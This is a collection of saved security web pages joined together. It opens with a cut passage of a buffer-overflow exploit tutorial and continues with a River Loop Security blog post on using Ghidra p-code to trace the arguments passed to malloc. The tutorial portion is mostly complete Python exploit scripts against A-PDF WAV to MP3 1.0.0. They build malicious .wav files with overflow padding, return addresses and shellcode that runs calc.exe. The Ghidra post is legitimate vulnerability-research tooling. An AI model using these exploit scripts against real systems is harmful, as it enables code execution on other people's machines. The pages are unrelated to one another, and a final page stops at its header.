        f1 = open("Drop.wav","w");    #No file checking, any file extension works... (.xyz .foo .abc)
        f1.write(sploit);
        f1.close();
        print ('[*] Success. Load File.');
     
    except:
        print ("[-] Error, could not write the file.");
[/code]

### POP RETURN

If any register points directly to the shellcode but you can see the address
on the stack \(first, second, third address in the stack\) that points to the
shellcode then you can load that value into EIP by first putting a pointer to
pop ret or pop pop ret \(depending on where the location is found on the stack
\) into EIP.  
In the first tutorial we have seen that the shellcode was located exactly into
EIP, it was necessary to add more 8 nops so the shellcode began at first byte.  
Let’s suppose that the shellcode is located after 8 bytes. To catch it we
could use a pop pop ret, by looking for in dll loaded, and then load the jmp
esp to point directly to the shellcode. So we have an address that points to a
pop pop ret opcode into EIP and soon after the 8 bytes \(junk\) there is the
jmp esp opcode that jumps to the shellcode.

\[ BOF \] \[pop pop ret\] \[junk\] \[ jmp esp \] \[nops\] \[shellcode\]

[code]

    #!/usr/bin/env python
     
    # http://www.exploit-db.com/exploits/14681/
     
    #################################################################################
    #
    # Title:    A-PDF WAV to MP3 v1.0.0 Universal Local SEH Exploit
    # Exloit By:    Dr_IDE
    # Tested On:    XPSP3
    # Date:        August 18, 2010
    # Download:     http://www.brothersoft.com/a-pdf-wav-to-mp3-converter-394393.html
    # Reference:    http://www.exploit-db.com/exploits/14676/
    # Usage:    Import File, Select It, Click Play, Calc.
    #
    # EDB Notes:
    # This exploit uses SEH to gain code execution, while EDB 14676 uses a direct
    # EIP overwrite which is operating system specific.
    #
    #################################################################################
     
    # windows/exec - 303 bytes  CMD=calc.exe Encoder - alpha/upper EXITFUNC - SEH
     
    buff = ("\x41" * 4128);
    # 00428F3F jmp esp in wavtomp3.exe
    # 10034207 pop pop ret in lame_enc.dll
    eip = ("\x07\x42\x03\x10");
    esp = ("\x3f\x8f\x42\x00");
    junk = ("\x42" * 8);
    nops = ("\x90" * 4);
    shellcode = ("\x33\xc9\xb8\x57\xba\xf8\x4b\xdb\xda\xb1\x33\xd9\x74\x24\xf4"
    "\x5b\x83\xeb\xfc\x31\x43\x0d\x03\x43\x5a\x58\x0d\xb7\x8c\x15"
    "\xee\x48\x4c\x46\x66\xad\x7d\x54\x1c\xa5\x2f\x68\x56\xeb\xc3"
    "\x03\x3a\x18\x50\x61\x93\x2f\xd1\xcc\xc5\x1e\xe2\xe0\xc9\xcd"
    "\x20\x62\xb6\x0f\x74\x44\x87\xdf\x89\x85\xc0\x02\x61\xd7\x99"
    "\x49\xd3\xc8\xae\x0c\xef\xe9\x60\x1b\x4f\x92\x05\xdc\x3b\x28"
    "\x07\x0d\x93\x27\x4f\xb5\x98\x60\x70\xc4\x4d\x73\x4c\x8f\xfa"
    "\x40\x26\x0e\x2a\x99\xc7\x20\x12\x76\xf6\x8c\x9f\x86\x3e\x2a"
    "\x7f\xfd\x34\x48\x02\x06\x8f\x32\xd8\x83\x12\x94\xab\x34\xf7"
    "\x24\x78\xa2\x7c\x2a\x35\xa0\xdb\x2f\xc8\x65\x50\x4b\x41\x88"
    "\xb7\xdd\x11\xaf\x13\x85\xc2\xce\x02\x63\xa5\xef\x55\xcb\x1a"
    "\x4a\x1d\xfe\x4f\xec\x7c\x95\x8e\x7c\xfb\xd0\x90\x7e\x04\x73"
    "\xf8\x4f\x8f\x1c\x7f\x50\x5a\x59\x81\xa1\x57\x74\x15\x18\x02"
    "\x35\x78\x9b\xf8\x7a\x84\x18\x09\x03\x73\x00\x78\x06\x38\x86"
    "\x90\x7a\x51\x63\x97\x29\x52\xa6\xf4\xac\xc0\x2a\xd5\x4b\x60"
    "\xc8\x29\x9e");
    sploit = (buff + eip + junk + esp + nops +shellcode);
     
    try:
        f1 = open("Drop2.wav","w");    #No file checking, any file extension works... (.xyz .foo .abc)
        f1.write(sploit);
        f1.close();
        print ('[*] Success. Load File.');
     
    except:
        print ("[-] Error, could not write the file.");
[/code]

### PUSH RETURN

This techinque is a little bit different from CALL a register approach. If you
don’t find out anywhere a jmp or call reg opcode then you could put the
address directly into the stack and do a ret. Basically you look for a push
reg followed by a ret and then you put the address of this opcode into eip.

[code]

    #!/usr/bin/env python
     
    # http://www.exploit-db.com/exploits/14681/
     
    #################################################################################
    #
    # Title:    A-PDF WAV to MP3 v1.0.0 Universal Local SEH Exploit
    # Exloit By:    Dr_IDE
    # Tested On:    XPSP3
    # Date:        August 18, 2010
    # Download:     http://www.brothersoft.com/a-pdf-wav-to-mp3-converter-394393.html
    # Reference:    http://www.exploit-db.com/exploits/14676/
    # Usage:    Import File, Select It, Click Play, Calc.
    #
    # EDB Notes:
    # This exploit uses SEH to gain code execution, while EDB 14676 uses a direct
    # EIP overwrite which is operating system specific.
    #
    #################################################################################
     
    # windows/exec - 303 bytes  CMD=calc.exe Encoder - alpha/upper EXITFUNC - SEH
     
    buff = ("\x41" * 4128);
    # 0047A01D push esp ret in wavtomp3.exe
    eip = ("\x1d\xa0\x47\x00");
    nops = ("\x90" * 4);
    shellcode = ("\x33\xc9\xb8\x57\xba\xf8\x4b\xdb\xda\xb1\x33\xd9\x74\x24\xf4"
    "\x5b\x83\xeb\xfc\x31\x43\x0d\x03\x43\x5a\x58\x0d\xb7\x8c\x15"
    "\xee\x48\x4c\x46\x66\xad\x7d\x54\x1c\xa5\x2f\x68\x56\xeb\xc3"
    "\x03\x3a\x18\x50\x61\x93\x2f\xd1\xcc\xc5\x1e\xe2\xe0\xc9\xcd"
    "\x20\x62\xb6\x0f\x74\x44\x87\xdf\x89\x85\xc0\x02\x61\xd7\x99"
    "\x49\xd3\xc8\xae\x0c\xef\xe9\x60\x1b\x4f\x92\x05\xdc\x3b\x28"
    "\x07\x0d\x93\x27\x4f\xb5\x98\x60\x70\xc4\x4d\x73\x4c\x8f\xfa"
    "\x40\x26\x0e\x2a\x99\xc7\x20\x12\x76\xf6\x8c\x9f\x86\x3e\x2a"
    "\x7f\xfd\x34\x48\x02\x06\x8f\x32\xd8\x83\x12\x94\xab\x34\xf7"
    "\x24\x78\xa2\x7c\x2a\x35\xa0\xdb\x2f\xc8\x65\x50\x4b\x41\x88"
    "\xb7\xdd\x11\xaf\x13\x85\xc2\xce\x02\x63\xa5\xef\x55\xcb\x1a"
    "\x4a\x1d\xfe\x4f\xec\x7c\x95\x8e\x7c\xfb\xd0\x90\x7e\x04\x73"
    "\xf8\x4f\x8f\x1c\x7f\x50\x5a\x59\x81\xa1\x57\x74\x15\x18\x02"
    "\x35\x78\x9b\xf8\x7a\x84\x18\x09\x03\x73\x00\x78\x06\x38\x86"
    "\x90\x7a\x51\x63\x97\x29\x52\xa6\xf4\xac\xc0\x2a\xd5\x4b\x60"
    "\xc8\x29\x9e");
    sploit = (buff + eip + nops +shellcode);
     
    try:
        f1 = open("Drop3.wav","w");    #No file checking, any file extension works... (.xyz .foo .abc)
        f1.write(sploit);
        f1.close();
        print ('[*] Success. Load File.');
     
    except:
        print ("[-] Error, could not write the file.");
[/code]

### JUMP \[reg + offset\]

If there is a register that points to the buffer containing the shellcode, but
it does not point at the beginning of the shellcode, you can also try to find
an instruction in one of the OS or dll’s application, which will add the
required bytes to the register and then jumps to the register. E.g. a jmp
dword ptr \[esp+8\].

### BLIND RETURN

A RET instruction pop the last value \(4bytes\) from the stack and put that
address in ESP. So if you overwrite EIP with the address that perform a RET
instruction, you load the value stored at ESP into EIP.

We need to:  
\- Overwrite the eip with the address that points to ret opcode  
\- Enter the address that points to the shellcode in the first 4 bytes of the
ESP  
So when the ret is executed, the last added 4 bytes are popped from the stack
and put in EIP.

\[BOF\]\[ret opcode address\]\[shellcode address\]\[shellcode\]

[code]

    #!/usr/bin/env python
     
    # http://www.exploit-db.com/exploits/14681/
     
    #################################################################################
    #
    # Title:    A-PDF WAV to MP3 v1.0.0 Universal Local SEH Exploit
    # Exloit By:    Dr_IDE
    # Tested On:    XPSP3
    # Date:        August 18, 2010
    # Download:     http://www.brothersoft.com/a-pdf-wav-to-mp3-converter-394393.html
    # Reference:    http://www.exploit-db.com/exploits/14676/
    # Usage:    Import File, Select It, Click Play, Calc.
    #
    # EDB Notes:
    # This exploit uses SEH to gain code execution, while EDB 14676 uses a direct
    # EIP overwrite which is operating system specific.
    #
    #################################################################################
     
    # windows/exec - 303 bytes  CMD=calc.exe Encoder - alpha/upper EXITFUNC - SEH
     
    buff = ("\x41" * 4128);
    # 76541842 ret in user32.dll
    # 00428F3F jmp esp in wavtomp3.exe
    eip = ("\x42\x18\x54\x76");
    esp = ("\x3f\x8f\x42\x00");
    nops = ("\x90" * 4);
    shellcode = ("\x33\xc9\xb8\x57\xba\xf8\x4b\xdb\xda\xb1\x33\xd9\x74\x24\xf4"
    "\x5b\x83\xeb\xfc\x31\x43\x0d\x03\x43\x5a\x58\x0d\xb7\x8c\x15"
    "\xee\x48\x4c\x46\x66\xad\x7d\x54\x1c\xa5\x2f\x68\x56\xeb\xc3"
    "\x03\x3a\x18\x50\x61\x93\x2f\xd1\xcc\xc5\x1e\xe2\xe0\xc9\xcd"
    "\x20\x62\xb6\x0f\x74\x44\x87\xdf\x89\x85\xc0\x02\x61\xd7\x99"
    "\x49\xd3\xc8\xae\x0c\xef\xe9\x60\x1b\x4f\x92\x05\xdc\x3b\x28"
    "\x07\x0d\x93\x27\x4f\xb5\x98\x60\x70\xc4\x4d\x73\x4c\x8f\xfa"
    "\x40\x26\x0e\x2a\x99\xc7\x20\x12\x76\xf6\x8c\x9f\x86\x3e\x2a"
    "\x7f\xfd\x34\x48\x02\x06\x8f\x32\xd8\x83\x12\x94\xab\x34\xf7"
    "\x24\x78\xa2\x7c\x2a\x35\xa0\xdb\x2f\xc8\x65\x50\x4b\x41\x88"
    "\xb7\xdd\x11\xaf\x13\x85\xc2\xce\x02\x63\xa5\xef\x55\xcb\x1a"
    "\x4a\x1d\xfe\x4f\xec\x7c\x95\x8e\x7c\xfb\xd0\x90\x7e\x04\x73"
    "\xf8\x4f\x8f\x1c\x7f\x50\x5a\x59\x81\xa1\x57\x74\x15\x18\x02"
    "\x35\x78\x9b\xf8\x7a\x84\x18\x09\x03\x73\x00\x78\x06\x38\x86"
    "\x90\x7a\x51\x63\x97\x29\x52\xa6\xf4\xac\xc0\x2a\xd5\x4b\x60"
    "\xc8\x29\x9e");
    sploit = (buff + eip + esp + nops +shellcode);
     
    try:
        f1 = open("Drop4.wav","w");    #No file checking, any file extension works... (.xyz .foo .abc)
        f1.write(sploit);
        f1.close();
        print ('[*] Success. Load File.');
     
    except:
        print ("[-] Error, could not write the file.");
[/code]

### SEH

Every application has a default exception handler which is provided by the OS.
So even if the application itself does not use exception handling, you can try
to overwrite the SEH handler with your own address and make it jump to your
shellcode. Using SEH can make an exploit more reliable on various windows
platforms, but it requires some more explanations before you can start abusing
the SEH to write exploits. That’s why the next tutorial will be entirely
dedicated to this technique.

The following video shows these techniques just described:

See you  
Michele \`m7x\` Manzotti

References: Thanks to Corelan.

Related Tags: blind return, buffer overflow, call esp, esp, exploit, jmp, pop
return, push return, tutorial, write

# Working With Ghidra's P-Code To Identify Vulnerable Function Calls

**Created:**| _5/15/2019 5:44:56 AM_  
---|---  
**Updated:**| _5/15/2019 5:44:56 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

<img src='img/12875_logo.png' width='265' height='65' alt='Working With
Ghidra's P-Code To Identify Vulnerable Function Calls logo' /> Working With
Ghidra's P-Code To Identify Vulnerable Function Calls - go to homepage

# Working With Ghidra's P-Code To Identify Vulnerable Function Calls

By Alexei Bulazel | May 11, 2019
This year at INFILTRATE 2019, I got together with fellow RPISEC alumnus and
Boston Cybernetics Institute co-founder Jeremy Blackthorne to present “Three
Heads Are Better Than One: Mastering NSA’s Ghidra Reverse Engineering Tool”.
Around 50 minutes into that presentation, I presented a demo of a proof of
concept script I built to trace out how inputs to `malloc` are derived. In
this blog post, we’ll take a deeper look at that script.

For those unfamiliar with the tool, Ghidra is an interactive reverse
engineering tool developed by the US National Security Agency, comparable in
functionality to tools such as Binary Ninja and IDA Pro. After years of
development internally at NSA, Ghidra was released open source to the public
in March 2019 at RSA.

My script leverages Ghidra’s “p-code” intermediate representation to trace
inputs to the `malloc` through functions and interprocedural calls. Calls to
`malloc` are of obvious interest to vulnerability researchers looking for bugs
in binary software - if a user-controlled input can somehow effect the size of
parameter passed to the function, it may be possible for the user to pass in a
argument triggering integer overflow during the calculation of allocation
size, leading to memory corruption.

> If you want to follow along with the code, I’ve published it on GitHub. See
> discussion later in “Running The Script” for instructions on how to run it
> with your local copy of Ghidra.
## Inspiration

The inspiration this demo came from watching Sophia d’Antoine, Peter LaFosse,
and Rusty Wagner’s “Be A Binary Rockstar” at INFILTRATE 2017, a presentation
on Binary Ninja. During that presentation, fellow River Loop Security team
member Sophia d’Antoine demonstrated a script to find calls to memcpy with
unsafe arguments, leveraging Binary Ninja’s intermediate language
representations of assembly code. I figured I would create a Ghidra script to
do similar, but when I found that it wouldn’t be as simple as just calling a
function like `get_parameter_at`, I began digging into to Ghidra’s code and
plugin examples published by NSA with Ghidra. I ended up with the proof of
concept script discussed in this post. While this script might not be ready
for real world 0day discovery, it should give you a sense of working with
Ghidra’s scripting APIs, p-code intermediate representation, and built-in
support for program analysis.

## P-Code

P-code is Ghidra’s intermediate representation / intermediate language
\(IR/IL\) for assembly language instructions. Ghidra “lifts” assembly
instructions of various disparate architectures into p-code, allowing reverse
engineers to more easily develop automated analyses that work with assembly
code.

P-code abstracts away the complexities of working with various CPU
architectures - x86’s plethora of instructions and prefixes, MIPS’ delay
slots, ARM’s conditional instructions, etc, and presents reverse engineers
with a common, simplified instruction set to work with. P-code lifting is a
one-to-many translation, a single assembly instruction may be lifted into one
or more p-code instruction.

For a simple example, see how an x86 `MOV` instruction translates into a
single `COPY` p-code operation

[code]

    MOV   RAX,RSI
    	RAX = COPY RSI
    
[/code]

In a more complex case, a `SHR` instruction expands out into 30 p-code
operations. Note how calculations for x86 flags \(`CF`, `OF`, `SF`, and `ZF`\)
are made explicit.

[code]

    SHR   RAX,0x3f
    	$Ub7c0:4 = INT_AND 63:4, 63:4
    	$Ub7d0:8 = COPY RAX
    	RAX = INT_RIGHT RAX, $Ub7c0
    	$U33e0:1 = INT_NOTEQUAL $Ub7c0, 0:4
    	$U33f0:4 = INT_SUB $Ub7c0, 1:4
    	$U3400:8 = INT_RIGHT $Ub7d0, $U33f0
    	$U3410:8 = INT_AND $U3400, 1:8
    	$U3430:1 = INT_NOTEQUAL $U3410, 0:8
    	$U3440:1 = BOOL_NEGATE $U33e0
    	$U3450:1 = INT_AND $U3440, CF
    	$U3460:1 = INT_AND $U33e0, $U3430
    	CF = INT_OR $U3450, $U3460
    	$U3490:1 = INT_EQUAL $Ub7c0, 1:4
    	$U34b0:1 = INT_SLESS $Ub7d0, 0:8
    	$U34c0:1 = BOOL_NEGATE $U3490
    	$U34d0:1 = INT_AND $U34c0, OF
    	$U34e0:1 = INT_AND $U3490, $U34b0
    	OF = INT_OR $U34d0, $U34e0
    	$U2e00:1 = INT_NOTEQUAL $Ub7c0, 0:4
    	$U2e20:1 = INT_SLESS RAX, 0:8
    	$U2e30:1 = BOOL_NEGATE $U2e00
    	$U2e40:1 = INT_AND $U2e30, SF
    	$U2e50:1 = INT_AND $U2e00, $U2e20
    	SF = INT_OR $U2e40, $U2e50
    	$U2e80:1 = INT_EQUAL RAX, 0:8
    	$U2e90:1 = BOOL_NEGATE $U2e00
    	$U2ea0:1 = INT_AND $U2e90, ZF
    	$U2eb0:1 = INT_AND $U2e00, $U2e80
    	ZF = INT_OR $U2ea0, $U2eb0
    
    
[/code]

P-code itself is generated with SLEIGH, a processor specification language for
Ghidra which provides the tool with both disassembly information \(e.g., the
sequence of bytes `89 d8` means `MOV EAX, EBX`\), _and_ semantic information
\(`MOV EAX, EBX` has the p-code semantics `EAX = COPY EBX`\). After lifting up
to raw p-code \(i.e., the direct translation to p-code\), additionally follow-
on analysis may enhance the p-code, transforming it by adding additional
metadata to instructions \(e.g., the `CALL` p-code operation only has a call
target address in raw p-code form, but may gain parameters associated with the
function call after analysis\), and adding additional analysis-derived
instructions not present in raw p-code, such as `MULTIEQUAL`, representing a
phi-node \(more on that later\), or `PTRSUB`, for pointer arithmetic producing
a pointer to a subcomponent of a data type.

During analysis the code is also lifted code into single static assignment
\(SSA\) form, a representation wherein each variable is only assigned a value
once.

P-code operates over `varnodes` \- quoting from the Ghidra documentation: “A
varnode is a generalization of either a register or a memory location. It is
represented by the formal triple: an address space, an offset into the space,
and a size. Intuitively, a varnode is a contiguous sequence of bytes in some
address space that can be treated as a single value. All manipulation of data
by p-code operations occurs on varnodes.”

For readers interested in learning more, Ghidra ships with p-code
documentation at `docs/languages/html/pcoderef.html`. Additionally, someone
has posted the Ghidra decompiler Doxygen docs \(included in the decompiler’s
source\) at https://ghidra-decompiler-docs.netlify.com/index.html.

## This Script

This script identifies inputs to `malloc()` by tracing backwards from the
variable given to the function in order to figure out how that variable
obtains its value, terminating in either a constant value or an external
function call. Along the way, each function call that the value passes through
is logged - either where it is returned by a function, or passed as an
incoming parameter to a function call. The specific operations along the way
that can constrain \(e.g., checking equality or comparisons\) or modify
\(e.g., arithmetic or bitwise operations\) the values are not logged or
processed currently for this proof of concept.

Calls to `malloc` can go badly in a variety of ways, for example, if an
allocation size of zero is passed in, or if an integer overflow occurs on the
way to calculating the number of bytes to allocate. In general, we can expect
that the chances of one of these types of bugs occuring is more likely if user
input is able to somehow effect the value passed to `malloc`, e.g., if the
user is able to specify a number of elements to allocate, and then that value
is multiplied by `sizeof(element)`, there may be a chance of an integer
overflow. If this script is able to determine that user input taken a few
function calls before a call to `malloc` ends up passed to the function call,
this code path may be worth auditing by a human vulnerability researcher.

Understanding where allocations of static, non-user controlled sizes are used
is also interesting, as exploit developers looking to turn discovered heap
vulnerabilities into exploits may need to manipulate heap layout with “heap
grooms” relying on specific patterns of controlled allocations and
deallocations.

Note that while I’ve chosen to build this script around analysis of `malloc`,
as it is a simple function that just takes a single integer argument, the same
sort of analysis could be very easily adapted to look for other vulnerable
function call patterns, such as `memcpy` with user controlled lengths or
buffers on the stack, or `system` or `exec`-family functions ingesting user
input

## Running The Script

I’ve published the script, a test binary and its source code, and the output I
receive when running the script over the binary on GitHub.

You can run the script by putting it in your Ghidra scripts directory
\(default `$USER_HOME/ghidra_scripts`\), opening Ghidra’s Script Manager
window, and then looking for it in a folder labeled “INFILTRATE”. The green
arrow “Run Script” button at the top of the Script Manager window will then
run the script, with output printed to the console.

I’d also add that because the script simply prints output to the console, it
can be run with Ghidra’s command line “headless mode” as well, to print its
output to your command line terminal.

## Algorithm

The script begins by looking for every function that references `malloc`.
Then, for each of these function, we look for each `CALL` p-code operation
targeting `malloc` inside that function. Analysis then begins, looking at sole
parameter to `malloc` \(`size_t size`\). This parameter is a `varnode`, a
generalized representation of a value in the program. After Ghidra’s data-flow
analysis has run, we can use `varnode`’s `getDef()` method to retrieve the
p-code operation which defines it - e.g., for statement `a = b + c`, if we
asked for the operation defining `a`, we’d get `b + c`. From here, we can
recursively trace backwards, asking what operations define `varnode`s `b` and
`c` in that p-code expression, then what operations define their parents, and
so on.

Eventually, we might arrive on the discovery that one of these parents is a
constant value, that a value is derived from a function call, or that a value
comes from a parameter to the function. In the case that analysis determines
that a constant is the ultimate origin value behind the value passed in to
`malloc`, we can simply save the constant and terminate analysis of the
particular code path under examination. Otherwise, we have to trace into
called functions, and consider possible callsites for functions that call the
current function under analysis. Along the way, for each function we traverse
in a path to a terminal constant value or external function \(where we cannot
go any further\), we save a node in our path to be printed out to the user at
the end.

### Analyzing Inside Function Calls

The value passed to `malloc` may ultimately derive from a function call, e.g.:

[code]

    int x = getNumber();
    
    malloc(x+5);
    
[/code]

In this case, we would analyze `getNumber`, finding each `RETURN` p-code
operation in the function, and analyzing the “input1” varnode associated with
it, which represents the value the function returns \(on x86, this would be
the value in `EAX` at time of function return\). Note that similar to the
association of function parameters with `CALL` p-code operations, return
values are only associated with `RETURN` p-code operations _after_ analysis,
and are not present in raw p-code.

For example:

[code]

    int getNumber(){
    	int number = atoi("8");
    
    	number = number + 10;
    
    	return number;
    }
    
[/code]

In the above code snippet, our analysis would trace backwards from return, to
addition, and finally to a call to `atoi`, so we could add `atoi` as a node in
path determining the source of input to `malloc`. This analysis may be applied
recursively until a terminating value of a constant or external function call
is encountered.

### Phi Nodes

Discussing analysis of values returned by called functions gives us a
opportunity to consider “phi nodes”. In the above example, there’s only a
single path for how number can be defined, first `atoi`, then `+ 10`. But what
if instead, we had:

[code]

    int getNumber(){
    	
    	int number;
    
    	if (rand() > 100){
    		number = 10;
    	}
    	else {
    		number = 20;
    	}
    
    	return number;
    }
    
[/code]

Now, it’s not so clear what `number`’s definition is at time of function
return - it could be 10 or 20. A “phi node” can be used to represent the point
in the program at which, going forward, number will possess either value 10 or
20. Ghidra’s own analysis will insert a `MULTIEQUAL` operation \(not present
in the raw p-code\) at the point where number is used, but could have either
value 10 or 20 \(you can imagine this operation as happening in between the
closing brace of the `else` statement and before `return`\). The `MULTIEQUAL`
operation tells us that going forward, `number` can have one value out of a
range of possible values defined in previous basic blocks \(the `if` and
`else` paths\).

Representing the function in single static assignment form, it can be better
understood as:

[code]

    int getNumber(){
    
    	if (rand() > 100){
    		number1 = 10;
    	}
    	else {
    		number2 = 20;
    	}
    
    	number3 = MULTIEQUAL(number1, number2);
    
    	return number3;
    }
    
[/code]

`number1` and `number2` represent SSA instantiations of `number`, and we’ve
inserted `MULTIEQUAL` operation before the return, indicating that the return
value \(`number3`\) will be one of these prior two values. `MULTIEQUAL` is not
constrained to only taking two values, for example, if we had five values
which `number` could take before return, we could have `number6 =
MULTIEQUAL(number1, number2, number3, number4, number5);`.

We can handle `MULTIEQUAL` p-code operations by noting that the next node we
append to our path will be a phi input, and should be marked accordingly. When
we print out paths at the end, inputs to the same phi will be marked
accordingly so that end users know that each value is a possible input to the
phi.

### Analyzing Parent Calls

In addition to analyzing functions _called_ by our current function, our
analysis must consider functions _calling_ our current function, as values
passed to `malloc` could be dependent on parameters to our function. For
example:

[code]

    void doMalloc(int int1, int size){
    	...
    	malloc(size);
    }
    
    ...
    
    doMalloc(8, 5);
    ...
    doMalloc(10, 7);
    
[/code]

In cases like these, we will search for each location in the binary where our
current function \(`doMalloc`\) is called, and analyze the parameter passed to
the function which effects the value passed to our target function. In the
above case, analysis would return that 5 and 7 are both possible values for
`size` in a call to `doMalloc`.

As our analysis simply considers each site in the binary where the current
function we are analyzing is called, it can make mistakes in analysis, because
it is not “ _context sensitive_ ”. Analysis does not consider the specific
context in which functions are called, which can lead to inaccuracies in cases
that seem obvious. For example, if we have a function:

[code]

    int returnArg0(int arg0){ 
    	return arg0;
    }
    
[/code]

And this function is called in several places:

[code]

    int x = returnArg0(9);
    
    int y  = returnArg0(7);
    
    printf("%d", returnArg0(8));
    
    malloc(returnArg0(11));
    
[/code]

While to us it’s very obvious that the call to `malloc` will receive argument
11, our context-insensitive analysis considers every site in the program in
which `returnArg0` is called, so it will return 9, 7, 8, and 11 all as
possible values for the value at this call to `malloc`

As with analysis of called functions, analysis of calling functions may be
applied recursively. Further, these analyses may be interwoven with one
another, if for example, a function is invoked with parameter derived from a
call into another function.

## Ghidra Resources

I found Ghidra’s included plugins `ShowConstantUse.java` and
`WindowsResourceReference.java` very helpful when working with p-code and the
Ghidra decompiler. I borrowed some code from these scripts when building this
script, and consulted them extensively.

## Output

The data we’re dealing with is probably best visualized with a graph of
connected nodes. Unfortunately, the publicly released version of Ghidra does
not currently have the necessary external “GraphService” needed to work with
graphs, as can be observed by running Ghidra’s included scripts
`GraphAST.java`, `GraphASTAndFlow.java`, and `GraphSelectedAST.java` \(a popup
alert informs the user “GraphService not found: Please add a graph service
provider to your tool”\).

Without a graph provider, I resorted to using ASCII depictions of flow to our
“sink” function of `malloc`. Each line of output represents a node on the way
to malloc. A series of lines before the node’s value represents how it is
derived, with `-` representing a value coming from within a function \(either
because it returns a constant or calls an external function\), `+`
representing a value coming from a function parameter, and `Ø` being printed
when a series of nodes are inputs to a phi-node. `C:` is used to denote a
called “child” function call, `P:` for a calling “parent”, and `CONST:` for a
terminal constant value.

For example:

[code]

    int return3(){
    	return 3;
    }
    
    ...
    malloc(return3());
    ...
    
[/code]

Here, we have a call into return3 denoted by `-`, and then inside of that
function, a terminal constant value of `3`.

[code]

    SINK: call to malloc in analyzefun @ 0x4008f6
    -C: return3
    --CONST: 3 (0x3)
    
[/code]

In a more complex case:

[code]

    int returnmynumberplus5(int x){
    	return x+5;
    }
    ...
    malloc(returnmynumberplus5(10) | 7);
    ...
    
    
    SINK: call to malloc in analyzefun @ 0x40091a
    -C: returnmynumberplus5
    -+P: call analyzefun -> returnmynumberplus5 @ 0x40090d - param #0
    -+-CONST: 10 (0xA)
    
[/code]

Here we have a call into `returnmynumberplus5` denoted with `-`, then `-+`
denoting that the return value for `returnmynumberplus5` is derived from a
parameter passed to it by a calling “parent” function, and then finally `-+-`
for the final constant value of 10 which was determined to be the ultimate
terminating constant in this flow to the sink function. This is somewhat a
contrived example, as the script considers all possible callsites for
`returnmynumberplus5`, and would in fact list constants \(or other values\)
passed to the function throughout the entire program, if there were other
sites where it was invoked - an example of the script not being context
sensitive.

Finally, lets take a look at a case where a phi node is involved:

[code]

    int phidemo(){
    	int x = 0;
    	if (rand() > 100){
    		x = 100;
    	}
    	else if (rand() > 200){
    		x = 700;
    	}
    	return x;
    }
    
    ...
    malloc(phidemo());
    ...
    
    
    SINK: call to malloc in analyzefun @ 0x4008b0
    -C: phidemo
    --ØCONST: 100 (0x64)
    --ØCONST: 0 (0x0)
    --ØCONST: 700 (0x2bc)
    
    
[/code]

In this case, we see that the call to `malloc` is the result of a call to
`phidemo`. At the next level deeper, we print `-` followed by `Ø`, indicating
the three constant values displayed are all phi node inputs, with only one
used in returning from `phidemo`.

## Limitations and Future Work

After all that discussion of what this script can do, we should address the
various things that it cannot. This proof of concept script has a number of
limitations, including:

  * Transfers of control flow between functions not based on `CALL` p-code ops with explicitly resolved targets. This includes use of direct jumps to other functions, transfer through function pointers, or C++ vtables
  * Handling pointers
  * Recursive functions
  * Programs using p-code operations that we do not support
  * Context sensitive analysis
  * and more…

That said, implementing support for these other constructions should be
possible and fairly easy. Beyond growing out more robust support for various
program constructions, there are many of other directions this code could be
taken in:

  * Adding support for actually logging all operations along the way, e.g, letting the user know that the value parsed by `atoi()` is then multiplied by `8`, and compared against `0x100`, and then `2` is added - for example.
  * Integrating an SMT solver to allow for more complex analyses of possible values
  * Adding context sensitivity
  * Modeling process address space

## Conclusion

I hope this blog post has been insightful in elucidating how Ghidra’s powerful
scripting API, intermediate representation, and built-in data flow analysis
can be leveraged together for program analysis. With this script, I’ve only
scratched the surface of what is possible with Ghidra, I hope we’ll see more
public research on what the tool can do.

I know this script isn’t perfect, please do reach out if you find it useful or
have suggestions for improvement.

> If you have questions about your reverse engineering and security analysis,
> consider contacting our team of experienced security experts to learn more
> about what you can do.  
>  If you have questions or comments about Ghidra, p-code, training, or
> otherwise want to get in touch, you can email re-
> training@riverloopsecurity.com, or contact me directly via open DMs on
> Twitter at https://twitter.com/0xAlexei.
## Acknowledgements

Thank you to Jeremy Blackthorne, my collaborator in presenting on Ghidra -
later this summer at REcon Montreal, Jeremy and I will be teaching a four day
training on binary exploitation, where we’ll use Ghidra, sign up at:
https://recon.cx/2019/montreal/training/trainingmodern.html. Jeremy will also
be teaching his own training on Ghidra in August at Ringzer0:
https://ringzer0.training/reverse-engineering-with-ghidra.html, and you can
find information about his company Boston Cybernetics Insitute’s other
training offerings at https://www.bostoncyber.org/

Rolf Rolles’ insights into program analysis, p-code, and Ghidra’s scripting
interface were invaluable in working on this project. Thank you to the Vector
35 Binary Ninja crew for also elucidating some program analysis concepts
during their excellent Binary Ninja training at INFILTRATE 2019 \- also thanks
to Sophia d’Antoine for her 2017 Binary Ninja memcpy example script. Dr.
Brendan Dolan-Gavitt shared some program analysis insights as well.

Finally, thank you to all of the developers at NSA who actually created
Ghidra. All of this work would not be possible without their creation of the
tool. The example plugins published with Ghidra were also invaluable in
understanding how to work with p-code.

### Search

### Categories

  * blog \(13\)
  * conference \(8\)
  * paper \(5\)
  * projects \(4\)

### Tags

  * __ 802.15.4
  * __ apimote
  * __ arm
  * __ beekeeperwids
  * __ conferences
  * __ cortex-m
  * __ fuzzing
  * __ ghidra
  * __ goodfet
  * __ hardware
  * __ killerbee
  * __ mcu
  * __ msp430
  * __ orthrus
  * __ pip
  * __ program-analysis
  * __ reverse-engineering
  * __ reversing
  * __ scapy
  * __ sdlc
  * __ secure-development
  * __ supply-chain
  * __ texas-instruments
  * __ tumblerf
  * __ usb
  * __ zigbee
  * __ zwave

#### About us

We specialize in hardware and wireless protocol security. We partner with
companies in industries including telcommunications, consumer products, and
healthcare, advising in hardware and software system design, custom tool
development, penetration testing, cryptographic design and implementation, and
security incident response. Members of our team regularly speak at leading
industry conferences and publish academic journal papers, and we develop and
maintain several leading open-source security assessment tools.

* * *
#### Recent posts

<img src='img/ghidra.png' width='43' height='29' />

##### Working With Ghidra's P-Code To Identify Vulnerable Function Calls

<img src='img/bannedh-embedded-banner.png' width='43' height='24' />

##### Helping Embedded Developers Code More Securely: banned.h and strsafe

<img src='img/pcb-pile.jpg' width='43' height='28' />

##### A Tale of Two Supply Chains

* * *
#### Contact

**River Loop Security LLC**  
Washington, DC  
Houston, TX  
New York, NY  
**United States**

Contact Us

* * *
Copyright © 2012-2019, River Loop Security LLC. All Rights Reserved.

Template ported by DevCows

  

# Role of Context in Threat Detection | by Anton Chuvakin | Anton on Security | Medium
**Created:**| _6/5/2021 12:21:38 PM_  
---|---  
**Updated:**| _6/5/2021 12:21:38 PM_  
**Author:**| __  
**Tags:**| __  
